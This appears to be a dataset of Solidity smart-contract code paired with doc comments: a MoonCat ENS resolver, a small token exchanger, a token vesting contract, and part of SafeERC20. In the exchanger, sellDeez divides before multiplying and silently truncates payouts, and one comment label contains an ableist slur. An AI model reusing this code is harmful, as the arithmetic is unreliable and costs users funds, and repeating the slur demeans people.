emit TextChanged(orderHash, key, avatarRecordValue);
emit TextChanged(hexHash, key, avatarRecordValue);
} else {
emit TextChanged(orderHash, key, value);
emit TextChanged(hexHash, key, value);
}
TextKeyMapping[rescueOrder][key] = value;
}
/**
* @dev Get the "content hash" of a given subdomain.
* EIP1577 functionality
*/
function contenthash(bytes32 nodeID) public view returns (bytes memory) {
uint256 rescueOrder = getRescueOrderFromNodeId(nodeID);
return ContentsMapping[rescueOrder];
}
/**
* @dev Update the "content hash" of a given subdomain.
* EIP1577 functionality
*/
function setContenthash(bytes32 nodeID, bytes calldata hash) public {
uint256 rescueOrder = getRescueOrderFromNodeId(nodeID);
setContenthash(rescueOrder, hash);
}
/**
* @dev Update the "content hash" of a given MoonCat's subdomains.
*/
function setContenthash(uint256 rescueOrder, bytes calldata hash) public onlyMoonCatOwner(rescueOrder) {
emit ContenthashChanged(getSubdomainNameHash(uint2str(rescueOrder)), hash);
emit ContenthashChanged(getSubdomainNameHash(bytes5ToHexString(MCR.rescueOrder(rescueOrder))), hash);
ContentsMapping[rescueOrder] = hash;
}
/**
* @dev Set the TTL for a given MoonCat's subdomains.
*/
function setTTL(uint rescueOrder, uint64 newTTL) public onlyMoonCatOwner(rescueOrder) {
IRegistry registry = IRegistry(0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e);
registry.setTTL(getSubdomainNameHash(uint2str(rescueOrder)), newTTL);
registry.setTTL(getSubdomainNameHash(bytes5ToHexString(MCR.rescueOrder(rescueOrder))), newTTL);
}
/**
* @dev Allow calling multiple functions on this contract in one transaction.
*/
function multicall(bytes[] calldata data) external returns(bytes[] memory results) {
results = new bytes[](data.length);
for (uint i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
require(success);
results[i] = result;
}
return results;
}
/**
* @dev Reverse lookup for ENS Node ID, to determine the MoonCat rescue order of the MoonCat associated with it.
*/
function getRescueOrderFromNodeId(bytes32 nodeID) public view returns (uint256) {
uint256 rescueOrder = NamehashMapping[nodeID];
if (rescueOrder == 0) {
// Are we actually dealing with MoonCat #0?
require(
nodeID == 0x8bde039a2a7841d31e0561fad9d5cfdfd4394902507c72856cf5950eaf9e7d5a // 0.ismymooncat.eth
|| nodeID == 0x1002474938c26fb23080c33c3db026c584b30ec6e7d3edf4717f3e01e627da26, // 0x00d658d50b.ismymooncat.eth
"Unknown Node ID"
);
}
return rescueOrder;
}
/**
* @dev Calculate the "namehash" of a specific domain, using the ENS standard algorithm.
* The namehash of 'ismymooncat.eth' is 0x204665c32985055ed5daf374d6166861ba8892a3b0849d798c919fffe38a1a15
* The namehash of 'foo.ismymooncat.eth' is keccak256(0x204665c32985055ed5daf374d6166861ba8892a3b0849d798c919fffe38a1a15, keccak256('foo'))
*/
function getSubdomainNameHash(string memory subdomain) public view returns (bytes32) {
return keccak256(abi.encodePacked(rootHash, keccak256(abi.encodePacked(subdomain))));
}
/**
* @dev Cache a single MoonCat's (identified by Rescue Order) subdomain hashes.
*/
function mapMoonCat(uint256 rescueOrder) public {
string memory orderSubdomain = uint2str(rescueOrder);
string memory hexSubdomain = bytes5ToHexString(MCR.rescueOrder(rescueOrder));
bytes32 orderHash = getSubdomainNameHash(orderSubdomain);
bytes32 hexHash = getSubdomainNameHash(hexSubdomain);
if (uint256(NamehashMapping[orderHash]) != 0) {
// Already Mapped
return;
}
NamehashMapping[orderHash] = rescueOrder;
NamehashMapping[hexHash] = rescueOrder;
if(MCR.catOwners(MCR.rescueOrder(rescueOrder)) != address(MCA)) {
// MoonCat is not Acclimated
return;
}
IRegistry registry = IRegistry(0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e);
registry.setSubnodeRecord(rootHash, keccak256(bytes(orderSubdomain)), address(this), address(this), defaultTTL);
registry.setSubnodeRecord(rootHash, keccak256(bytes(hexSubdomain)), address(this), address(this), defaultTTL);
address moonCatOwner = MCA.ownerOf(rescueOrder);
lastAnnouncedAddress[rescueOrder] = moonCatOwner;
emit AddrChanged(orderHash, moonCatOwner);
emit AddrChanged(hexHash, moonCatOwner);
emit AddressChanged(orderHash, 60, abi.encodePacked(moonCatOwner));
emit AddressChanged(hexHash, 60, abi.encodePacked(moonCatOwner));
string memory avatarRecordValue = string(abi.encodePacked(avatarBaseURI, uint2str(rescueOrder)));
emit TextChanged(orderHash, "avatar", avatarRecordValue);
emit TextChanged(hexHash, "avatar", avatarRecordValue);
}
/**
* @dev Announce a single MoonCat's (identified by Rescue Order) assigned address.
*/
function announceMoonCat(uint256 rescueOrder) public {
require(MCR.catOwners(MCR.rescueOrder(rescueOrder)) == address(MCA), "Not Acclimated");
address moonCatOwner = MCA.ownerOf(rescueOrder);
lastAnnouncedAddress[rescueOrder] = moonCatOwner;
bytes32 orderHash = getSubdomainNameHash(uint2str(rescueOrder));
bytes32 hexHash = getSubdomainNameHash(bytes5ToHexString(MCR.rescueOrder(rescueOrder)));
emit AddrChanged(orderHash, moonCatOwner);
emit AddrChanged(hexHash, moonCatOwner);
emit AddressChanged(orderHash, 60, abi.encodePacked(moonCatOwner));
emit AddressChanged(hexHash, 60, abi.encodePacked(moonCatOwner));
}
/**
* @dev Has an AddrChanged event been emitted for the current owner of a MoonCat (identified by Rescue Order)?
*/
function needsAnnouncing(uint256 rescueOrder) public view returns (bool) {
require(MCR.catOwners(MCR.rescueOrder(rescueOrder)) == address(MCA), "Not Acclimated");
return lastAnnouncedAddress[rescueOrder] != MCA.ownerOf(rescueOrder);
}
/**
* @dev Convenience function to iterate through all MoonCats owned by an address to check if they need announcing.
*/
function needsAnnouncing(address moonCatOwner) public view returns (uint256[] memory) {
uint256 balance = MCA.balanceOf(moonCatOwner);
uint256 announceCount = 0;
uint256[] memory tempRescueOrders = new uint256[](balance);
for (uint256 i = 0; i < balance; i++) {
uint256 rescueOrder = MCA.tokenOfOwnerByIndex(moonCatOwner, i);
if (lastAnnouncedAddress[rescueOrder] != moonCatOwner){
tempRescueOrders[announceCount] = rescueOrder;
announceCount++;
}
}
uint256[] memory rescueOrders = new uint256[](announceCount);
for (uint256 i = 0; i < announceCount; i++){
rescueOrders[i] = tempRescueOrders[i];
}
return rescueOrders;
}
/**
* @dev Convenience function to iterate through all MoonCats owned by sender to check if they need announcing.
*/
function needsAnnouncing() public view returns (uint256[] memory) {
return needsAnnouncing(msg.sender);
}
/**
* @dev Set a manual list of MoonCats (identified by Rescue Order) to announce or cache their subdomain hashes.
*/
function mapMoonCats(uint256[] memory rescueOrders) public {
for (uint256 i = 0; i < rescueOrders.length; i++) {
address lastAnnounced = lastAnnouncedAddress[rescueOrders[i]];
if (lastAnnounced == address(0)){
mapMoonCat(rescueOrders[i]);
} else if (lastAnnounced != MCA.ownerOf(rescueOrders[i])){
announceMoonCat(rescueOrders[i]);
}
}
}
/**
* @dev Convenience function to iterate through all MoonCats owned by an address and announce or cache their subdomain hashes.
*/
function mapMoonCats(address moonCatOwner) public {
for (uint256 i = 0; i < MCA.balanceOf(moonCatOwner); i++) {
uint256 rescueOrder = MCA.tokenOfOwnerByIndex(moonCatOwner, i);
address lastAnnounced = lastAnnouncedAddress[rescueOrder];
if (lastAnnounced == address(0)){
mapMoonCat(rescueOrder);
} else if (lastAnnounced != moonCatOwner){
announceMoonCat(rescueOrder);
}
}
}
/**
* @dev Convenience function to iterate through all MoonCats owned by the sender and announce or cache their subdomain hashes.
*/
function mapMoonCats() public {
mapMoonCats(msg.sender);
}
/**
* @dev Utility function to convert a bytes5 variable into a hexadecimal string.
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol
*/
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function bytes5ToHexString(bytes5 x) internal pure returns (string memory) {
uint256 length = 5;
uint256 value = uint256(uint40(x));
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
//require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
/**
* @dev Utility function to convert a uint256 variable into a decimal string.
*/
function uint2str(uint value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
|
Convenience function to iterate through all MoonCats owned by sender to check if they need announcing./
|
function needsAnnouncing() public view returns (uint256[] memory) {
return needsAnnouncing(msg.sender);
}
| 15,333,112 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "./Deez.sol";
contract DeezExchanger {
Deez public deez;
uint public exchangeRate = 1000;
event PurchaseSuccessful(address buyer, address deez, uint256 amount);
event SellSuccessful(address seller, address deez, uint256 amount);
constructor(Deez _deez) public {
deez = _deez;
}
//TODO: use wei instead of ether bc solidity is retarded
function buyDeez() public payable {
uint256 deezAmount = msg.value * exchangeRate / 1 ether;
require(deez.balanceOf(address(this)) >= deezAmount, "Exchanger out of tokens");
deez.transfer(msg.sender, deezAmount);
emit PurchaseSuccessful(msg.sender, address(deez), deezAmount);
}
function sellDeez(uint256 deezAmount) public {
uint256 ethAmount = deezAmount / exchangeRate * 1 ether;
require(address(this).balance >= ethAmount, "Exchanger out of eth");
deez.transferFrom(msg.sender, address(this), deezAmount);
msg.sender.transfer(ethAmount);
emit SellSuccessful(msg.sender, address(deez), deezAmount);
}
}
|
TODO: use wei instead of ether bc solidity is retarded
|
function buyDeez() public payable {
uint256 deezAmount = msg.value * exchangeRate / 1 ether;
require(deez.balanceOf(address(this)) >= deezAmount, "Exchanger out of tokens");
deez.transfer(msg.sender, deezAmount);
emit PurchaseSuccessful(msg.sender, address(deez), deezAmount);
}
| 12,585,451 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./IERC20Decimals.sol";
/**
@title A smart contract for unlocking tokens based on a release schedule
@author By CoMakery, Inc., Upside, Republic
@dev When deployed the contract is as a proxy for a single token that it creates release schedules for
it implements the ERC20 token interface to integrate with wallets but it is not an independent token.
The token must implement a burn function.
*/
contract TokenLockup {
using SafeERC20 for IERC20Decimals;
IERC20Decimals immutable public token;
string private _name;
string private _symbol;
struct ReleaseSchedule {
uint releaseCount;
uint delayUntilFirstReleaseInSeconds;
uint initialReleasePortionInBips;
uint periodBetweenReleasesInSeconds;
}
struct Timelock {
uint scheduleId;
uint commencementTimestamp;
uint tokensTransferred;
uint totalAmount;
address[] cancelableBy; // not cancelable unless set at the time of funding
}
ReleaseSchedule[] public releaseSchedules;
uint immutable public minTimelockAmount;
uint immutable public maxReleaseDelay;
uint private constant BIPS_PRECISION = 10000;
mapping(address => Timelock[]) public timelocks;
mapping(address => uint) internal _totalTokensUnlocked;
mapping(address => mapping(address => uint)) internal _allowances;
event Approval(address indexed from, address indexed spender, uint amount);
event ScheduleCreated(address indexed from, uint indexed scheduleId);
event ScheduleFunded(
address indexed from,
address indexed to,
uint indexed scheduleId,
uint amount,
uint commencementTimestamp,
uint timelockId,
address[] cancelableBy
);
event TimelockCanceled(
address indexed canceledBy,
address indexed target,
uint indexed timelockIndex,
address relaimTokenTo,
uint canceledAmount,
uint paidAmount
);
/**
@dev Configure deployment for a specific token with release schedule security parameters
@param _token The address of the token that will be released on the lockup schedule
@param name_ TokenLockup ERC20 interface name. Should be Distinct from token. Example: "Token Name Lockup"
@param symbol_ TokenLockup ERC20 interface symbol. Should be distinct from token symbol. Example: "TKN LOCKUP"
@dev The symbol should end with " Unlock" & be less than 11 characters for MetaMask "custom token" compatibility
*/
constructor (
address _token,
string memory name_,
string memory symbol_,
uint _minTimelockAmount,
uint _maxReleaseDelay
) {
_name = name_;
_symbol = symbol_;
token = IERC20Decimals(_token);
require(_minTimelockAmount > 0, "Min timelock amount > 0");
minTimelockAmount = _minTimelockAmount;
maxReleaseDelay = _maxReleaseDelay;
}
/**
@notice Create a release schedule template that can be used to generate many token timelocks
@param releaseCount Total number of releases including any initial "cliff'
@param delayUntilFirstReleaseInSeconds "cliff" or 0 for immediate release
@param initialReleasePortionInBips Portion to release in 100ths of 1% (10000 BIPS per 100%)
@param periodBetweenReleasesInSeconds After the delay and initial release
the remaining tokens will be distributed evenly across the remaining number of releases (releaseCount - 1)
@return unlockScheduleId The id used to refer to the release schedule at the time of funding the schedule
*/
function createReleaseSchedule(
uint releaseCount,
uint delayUntilFirstReleaseInSeconds,
uint initialReleasePortionInBips,
uint periodBetweenReleasesInSeconds
) external returns (uint unlockScheduleId) {
require(delayUntilFirstReleaseInSeconds <= maxReleaseDelay, "first release > max");
require(releaseCount >= 1, "< 1 release");
require(initialReleasePortionInBips <= BIPS_PRECISION, "release > 100%");
if (releaseCount > 1) {
require(periodBetweenReleasesInSeconds > 0, "period = 0");
} else if (releaseCount == 1) {
require(initialReleasePortionInBips == BIPS_PRECISION, "released < 100%");
}
releaseSchedules.push(ReleaseSchedule(
releaseCount,
delayUntilFirstReleaseInSeconds,
initialReleasePortionInBips,
periodBetweenReleasesInSeconds
));
unlockScheduleId = releaseSchedules.length - 1;
emit ScheduleCreated(msg.sender, unlockScheduleId);
return unlockScheduleId;
}
/**
@notice Fund the programmatic release of tokens to a recipient.
WARNING: this function IS CANCELABLE by cancelableBy.
If canceled the tokens that are locked at the time of the cancellation will be returned to the funder
and unlocked tokens will be transferred to the recipient.
@param to recipient address that will have tokens unlocked on a release schedule
@param amount of tokens to transfer in base units (the smallest unit without the decimal point)
@param commencementTimestamp the time the release schedule will start
@param scheduleId the id of the release schedule that will be used to release the tokens
@param cancelableBy array of canceler addresses
@return success Always returns true on completion so that a function calling it can revert if the required call did not succeed
*/
function fundReleaseSchedule(
address to,
uint amount,
uint commencementTimestamp, // unix timestamp
uint scheduleId,
address[] memory cancelableBy
) public returns (bool success) {
require(cancelableBy.length <= 10, "max 10 cancelableBy addressees");
uint timelockId = _fund(to, amount, commencementTimestamp, scheduleId);
if (cancelableBy.length > 0) {
timelocks[to][timelockId].cancelableBy = cancelableBy;
}
emit ScheduleFunded(msg.sender, to, scheduleId, amount, commencementTimestamp, timelockId, cancelableBy);
return true;
}
function _fund(
address to,
uint amount,
uint commencementTimestamp, // unix timestamp
uint scheduleId)
internal returns (uint) {
require(amount >= minTimelockAmount, "amount < min funding");
require(to != address(0), "to 0 address");
require(scheduleId < releaseSchedules.length, "bad scheduleId");
require(amount >= releaseSchedules[scheduleId].releaseCount, "< 1 token per release");
// It will revert via ERC20 implementation if there's no allowance
token.safeTransferFrom(msg.sender, address(this), amount);
require(
commencementTimestamp + releaseSchedules[scheduleId].delayUntilFirstReleaseInSeconds <=
block.timestamp + maxReleaseDelay
, "initial release out of range");
Timelock memory timelock;
timelock.scheduleId = scheduleId;
timelock.commencementTimestamp = commencementTimestamp;
timelock.totalAmount = amount;
timelocks[to].push(timelock);
return timelockCountOf(to) - 1;
}
/**
@notice Cancel a cancelable timelock created by the fundReleaseSchedule function.
WARNING: this function cannot cancel a release schedule created by fundReleaseSchedule
If canceled the tokens that are locked at the time of the cancellation will be returned to the funder
and unlocked tokens will be transferred to the recipient.
@param target The address that would receive the tokens when released from the timelock.
@param timelockIndex timelock index
@param target The address that would receive the tokens when released from the timelock
@param scheduleId require it matches expected
@param commencementTimestamp require it matches expected
@param totalAmount require it matches expected
@param reclaimTokenTo reclaim token to
@return success Always returns true on completion so that a function calling it can revert if the required call did not succeed
*/
function cancelTimelock(
address target,
uint timelockIndex,
uint scheduleId,
uint commencementTimestamp,
uint totalAmount,
address reclaimTokenTo
) public returns (bool success) {
require(timelockCountOf(target) > timelockIndex, "invalid timelock");
require(reclaimTokenTo != address(0), "Invalid reclaimTokenTo");
Timelock storage timelock = timelocks[target][timelockIndex];
require(_canBeCanceled(timelock), "You are not allowed to cancel this timelock");
require(timelock.scheduleId == scheduleId, "Expected scheduleId does not match");
require(timelock.commencementTimestamp == commencementTimestamp, "Expected commencementTimestamp does not match");
require(timelock.totalAmount == totalAmount, "Expected totalAmount does not match");
uint canceledAmount = lockedBalanceOfTimelock(target, timelockIndex);
require(canceledAmount > 0, "Timelock has no value left");
uint paidAmount = unlockedBalanceOfTimelock(target, timelockIndex);
token.safeTransfer(reclaimTokenTo, canceledAmount);
token.safeTransfer(target, paidAmount);
emit TimelockCanceled(msg.sender, target, timelockIndex, reclaimTokenTo, canceledAmount, paidAmount);
timelock.tokensTransferred = timelock.totalAmount;
return true;
}
/**
* @notice Check if timelock can be cancelable by msg.sender
*/
function _canBeCanceled(Timelock storage timelock) view private returns (bool){
for (uint i = 0; i < timelock.cancelableBy.length; i++) {
if (msg.sender == timelock.cancelableBy[i]) {
return true;
}
}
return false;
}
/**
* @notice Batch version of fund cancelable release schedule
* @param to An array of recipient address that will have tokens unlocked on a release schedule
* @param amounts An array of amount of tokens to transfer in base units (the smallest unit without the decimal point)
* @param commencementTimestamps An array of the time the release schedule will start
* @param scheduleIds An array of the id of the release schedule that will be used to release the tokens
* @param cancelableBy An array of cancelables
* @return success Always returns true on completion so that a function calling it can revert if the required call did not succeed
*/
function batchFundReleaseSchedule(
address[] calldata to,
uint[] calldata amounts,
uint[] calldata commencementTimestamps,
uint[] calldata scheduleIds,
address[] calldata cancelableBy
) external returns (bool success) {
require(to.length == amounts.length, "mismatched array length");
require(to.length == commencementTimestamps.length, "mismatched array length");
require(to.length == scheduleIds.length, "mismatched array length");
for (uint i = 0; i < to.length; i++) {
require(fundReleaseSchedule(
to[i],
amounts[i],
commencementTimestamps[i],
scheduleIds[i],
cancelableBy
));
}
return true;
}
/**
@notice Get The total locked balance of an address for all timelocks
@param who Address to calculate
@return amount The total locked amount of tokens for all of the who address's timelocks
*/
function lockedBalanceOf(address who) public view returns (uint amount) {
for (uint i = 0; i < timelockCountOf(who); i++) {
amount += lockedBalanceOfTimelock(who, i);
}
return amount;
}
/**
@notice Get The total unlocked balance of an address for all timelocks
@param who Address to calculate
@return amount The total unlocked amount of tokens for all of the who address's timelocks
*/
function unlockedBalanceOf(address who) public view returns (uint amount) {
for (uint i = 0; i < timelockCountOf(who); i++) {
amount += unlockedBalanceOfTimelock(who, i);
}
return amount;
}
/**
@notice Get The locked balance for a specific address and specific timelock
@param who The address to check
@param timelockIndex Specific timelock belonging to the who address
@return locked Balance of the timelock
*/
function lockedBalanceOfTimelock(address who, uint timelockIndex) public view returns (uint locked) {
Timelock memory timelock = timelockOf(who, timelockIndex);
if (timelock.totalAmount <= timelock.tokensTransferred) {
return 0;
} else {
return timelock.totalAmount - totalUnlockedToDateOfTimelock(who, timelockIndex);
}
}
/**
@notice Get the unlocked balance for a specific address and specific timelock
@param who the address to check
@param timelockIndex for a specific timelock belonging to the who address
@return unlocked balance of the timelock
*/
function unlockedBalanceOfTimelock(address who, uint timelockIndex) public view returns (uint unlocked) {
Timelock memory timelock = timelockOf(who, timelockIndex);
if (timelock.totalAmount <= timelock.tokensTransferred) {
return 0;
} else {
return totalUnlockedToDateOfTimelock(who, timelockIndex) - timelock.tokensTransferred;
}
}
/**
@notice Check the total remaining balance of a timelock including the locked and unlocked portions
@param who the address to check
@param timelockIndex Specific timelock belonging to the who address
@return total remaining balance of a timelock
*/
function balanceOfTimelock(address who, uint timelockIndex) external view returns (uint) {
Timelock memory timelock = timelockOf(who, timelockIndex);
if (timelock.totalAmount <= timelock.tokensTransferred) {
return 0;
} else {
return timelock.totalAmount - timelock.tokensTransferred;
}
}
/**
@notice Gets the total locked and unlocked balance of a specific address's timelocks
@param who The address to check
@param timelockIndex The index of the timelock for the who address
@return total Locked and unlocked amount for the specified timelock
*/
function totalUnlockedToDateOfTimelock(address who, uint timelockIndex) public view returns (uint total) {
Timelock memory _timelock = timelockOf(who, timelockIndex);
return calculateUnlocked(
_timelock.commencementTimestamp,
block.timestamp,
_timelock.totalAmount,
_timelock.scheduleId
);
}
/**
@notice ERC20 standard interface function
TokenLockup is a Proxy to an ERC20 token and not an independend token.
this functionality is provided as a convenience function
for interacting with the contract using the ERC20 token wallets interface.
*/
function balanceOf(address who) external view returns (uint) {
return unlockedBalanceOf(who) + lockedBalanceOf(who);
}
/**
@notice ERC20 standard interface function
TokenLockup is a Proxy to an ERC20 token and not an independend token.
this functionality is provided as a convenience function
for interacting with the contract using the ERC20 token wallets interface.
*/
function transfer(address to, uint value) external returns (bool) {
return _transfer(msg.sender, to, value);
}
/**
@notice ERC20 standard interface function
TokenLockup is a Proxy to an ERC20 token and not an independend token.
this functionality is provided as a convenience function
for interacting with the contract using the ERC20 token wallets interface.
*/
function transferFrom(address from, address to, uint value) external returns (bool) {
require(_allowances[from][msg.sender] >= value, "value > allowance");
_allowances[from][msg.sender] -= value;
return _transfer(from, to, value);
}
/**
@notice ERC20 standard interface function
TokenLockup is a Proxy to an ERC20 token and not an independend token.
this functionality is provided as a convenience function
for interacting with the contract using the ERC20 token wallets interface.
@dev Code from OpenZeppelin's contract/token/ERC20/ERC20.sol, modified
*/
function approve(address spender, uint amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
@notice ERC20 standard interface function
TokenLockup is a Proxy to an ERC20 token and not an independend token.
this functionality is provided as a convenience function
for interacting with the contract using the ERC20 token wallets interface.
@dev Code from OpenZeppelin's contract/token/ERC20/ERC20.sol, modified
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
@notice ERC20 standard interface function
TokenLockup is a Proxy to an ERC20 token and not an independend token.
this functionality is provided as a convenience function
for interacting with the contract using the ERC20 token wallets interface.
@dev Code from OpenZeppelin's contract/token/ERC20/ERC20.sol, modified
*/
function increaseAllowance(address spender, uint addedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
/**
@notice ERC20 standard interface function
TokenLockup is a Proxy to an ERC20 token and not an independend token.
this functionality is provided as a convenience function
for interacting with the contract using the ERC20 token wallets interface.
@dev Code from OpenZeppelin's contract/token/ERC20/ERC20.sol, modified
*/
function decreaseAllowance(address spender, uint subtractedValue) external returns (bool) {
uint currentAllowance = _allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "decrease > allowance");
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
/**
@notice ERC20 details interface function
TokenLockup is a Proxy to an ERC20 token and not an independend token.
this functionality is provided as a convenience function
for interacting with the contract using the ERC20 token wallets interface.
@dev this function returns the decimals of the token contract that the TokenLockup proxies
*/
function decimals() public view returns (uint8) {
return token.decimals();
}
/// @notice ERC20 standard interfaces function
/// @return The name of the TokenLockup contract.
/// WARNING: this is different than the underlying token that the TokenLockup is a proxy for.
function name() public view returns (string memory) {
return _name;
}
/// @notice ERC20 standard interfaces function
/// @return The symbol of the TokenLockup contract.
/// WARNING: this is different than the underlying token that the TokenLockup is a proxy for.
function symbol() public view returns (string memory) {
return _symbol;
}
/// @notice ERC20 standard interface function.
/// @return Total of tokens for all timelocks and all addresses held by the TokenLockup smart contract.
function totalSupply() external view returns (uint) {
return token.balanceOf(address(this));
}
function _transfer(address from, address to, uint value) internal returns (bool) {
require(unlockedBalanceOf(from) >= value, "amount > unlocked");
uint remainingTransfer = value;
// transfer from unlocked tokens
for (uint i = 0; i < timelockCountOf(from); i++) {
// if the timelock has no value left
if (timelocks[from][i].tokensTransferred == timelocks[from][i].totalAmount) {
continue;
} else if (remainingTransfer > unlockedBalanceOfTimelock(from, i)) {
// if the remainingTransfer is more than the unlocked balance use it all
remainingTransfer -= unlockedBalanceOfTimelock(from, i);
timelocks[from][i].tokensTransferred += unlockedBalanceOfTimelock(from, i);
} else {
// if the remainingTransfer is less than or equal to the unlocked balance
// use part or all and exit the loop
timelocks[from][i].tokensTransferred += remainingTransfer;
remainingTransfer = 0;
break;
}
}
// should never have a remainingTransfer amount at this point
require(remainingTransfer == 0, "bad transfer");
token.safeTransfer(to, value);
return true;
}
/**
@notice transfers the unlocked token from an address's specific timelock
It is typically more convenient to call transfer. But if the account has many timelocks the cost of gas
for calling transfer may be too high. Calling transferTimelock from a specific timelock limits the transfer cost.
@param to the address that the tokens will be transferred to
@param value the number of token base units to me transferred to the to address
@param timelockId the specific timelock of the function caller to transfer unlocked tokens from
@return bool always true when completed
*/
function transferTimelock(address to, uint value, uint timelockId) public returns (bool) {
require(unlockedBalanceOfTimelock(msg.sender, timelockId) >= value, "amount > unlocked");
timelocks[msg.sender][timelockId].tokensTransferred += value;
token.safeTransfer(to, value);
return true;
}
/**
@notice calculates how many tokens would be released at a specified time for a scheduleId.
This is independent of any specific address or address's timelock.
@param commencedTimestamp the commencement time to use in the calculation for the scheduled
@param currentTimestamp the timestamp to calculate unlocked tokens for
@param amount the amount of tokens
@param scheduleId the schedule id used to calculate the unlocked amount
@return unlocked the total amount unlocked for the schedule given the other parameters
*/
function calculateUnlocked(
uint commencedTimestamp,
uint currentTimestamp,
uint amount,
uint scheduleId
) public view returns (uint unlocked) {
return calculateUnlocked(commencedTimestamp, currentTimestamp, amount, releaseSchedules[scheduleId]);
}
// Code from OpenZeppelin's contract/token/ERC20/ERC20.sol, modified
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "owner is 0 address");
require(spender != address(0), "spender is 0 address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// @notice the total number of schedules that have been created
function scheduleCount() external view returns (uint count) {
return releaseSchedules.length;
}
/**
@notice Get the struct details for an address's specific timelock
@param who Address to check
@param index The index of the timelock for the who address
@return timelock Struct with the attributes of the timelock
*/
function timelockOf(address who, uint index) public view returns (Timelock memory timelock) {
return timelocks[who][index];
}
// @notice returns the total count of timelocks for a specific address
function timelockCountOf(address who) public view returns (uint) {
return timelocks[who].length;
}
/**
@notice calculates how many tokens would be released at a specified time for a ReleaseSchedule struct.
This is independent of any specific address or address's timelock.
@param commencedTimestamp the commencement time to use in the calculation for the scheduled
@param currentTimestamp the timestamp to calculate unlocked tokens for
@param amount the amount of tokens
@param releaseSchedule a ReleaseSchedule struct used to calculate the unlocked amount
@return unlocked the total amount unlocked for the schedule given the other parameters
*/
function calculateUnlocked(
uint commencedTimestamp,
uint currentTimestamp,
uint amount,
ReleaseSchedule memory releaseSchedule)
public pure returns (uint unlocked) {
return calculateUnlocked(
commencedTimestamp,
currentTimestamp,
amount,
releaseSchedule.releaseCount,
releaseSchedule.delayUntilFirstReleaseInSeconds,
releaseSchedule.initialReleasePortionInBips,
releaseSchedule.periodBetweenReleasesInSeconds
);
}
/**
@notice The same functionality as above function with spread format of `releaseSchedule` arg
@param commencedTimestamp the commencement time to use in the calculation for the scheduled
@param currentTimestamp the timestamp to calculate unlocked tokens for
@param amount the amount of tokens
@param releaseCount Total number of releases including any initial "cliff'
@param delayUntilFirstReleaseInSeconds "cliff" or 0 for immediate release
@param initialReleasePortionInBips Portion to release in 100ths of 1% (10000 BIPS per 100%)
@param periodBetweenReleasesInSeconds After the delay and initial release
@return unlocked the total amount unlocked for the schedule given the other parameters
*/
function calculateUnlocked(
uint commencedTimestamp,
uint currentTimestamp,
uint amount,
uint releaseCount,
uint delayUntilFirstReleaseInSeconds,
uint initialReleasePortionInBips,
uint periodBetweenReleasesInSeconds
) public pure returns (uint unlocked) {
if (commencedTimestamp > currentTimestamp) {
return 0;
}
uint secondsElapsed = currentTimestamp - commencedTimestamp;
// return the full amount if the total lockup period has expired
// unlocked amounts in each period are truncated and round down remainders smaller than the smallest unit
// unlocking the full amount unlocks any remainder amounts in the final unlock period
// this is done first to reduce computation
if (
secondsElapsed >= delayUntilFirstReleaseInSeconds +
(periodBetweenReleasesInSeconds * (releaseCount - 1))
) {
return amount;
}
// unlock the initial release if the delay has elapsed
if (secondsElapsed >= delayUntilFirstReleaseInSeconds) {
unlocked = (amount * initialReleasePortionInBips) / BIPS_PRECISION;
// if at least one period after the delay has passed
if (secondsElapsed - delayUntilFirstReleaseInSeconds >= periodBetweenReleasesInSeconds) {
// calculate the number of additional periods that have passed (not including the initial release)
// this discards any remainders (ie it truncates / rounds down)
uint additionalUnlockedPeriods = (secondsElapsed - delayUntilFirstReleaseInSeconds) / periodBetweenReleasesInSeconds;
// calculate the amount of unlocked tokens for the additionalUnlockedPeriods
// multiplication is applied before division to delay truncating to the smallest unit
// this distributes unlocked tokens more evenly across unlock periods
// than truncated division followed by multiplication
unlocked += ((amount - unlocked) * additionalUnlockedPeriods) / (releaseCount - 1);
}
}
return unlocked;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
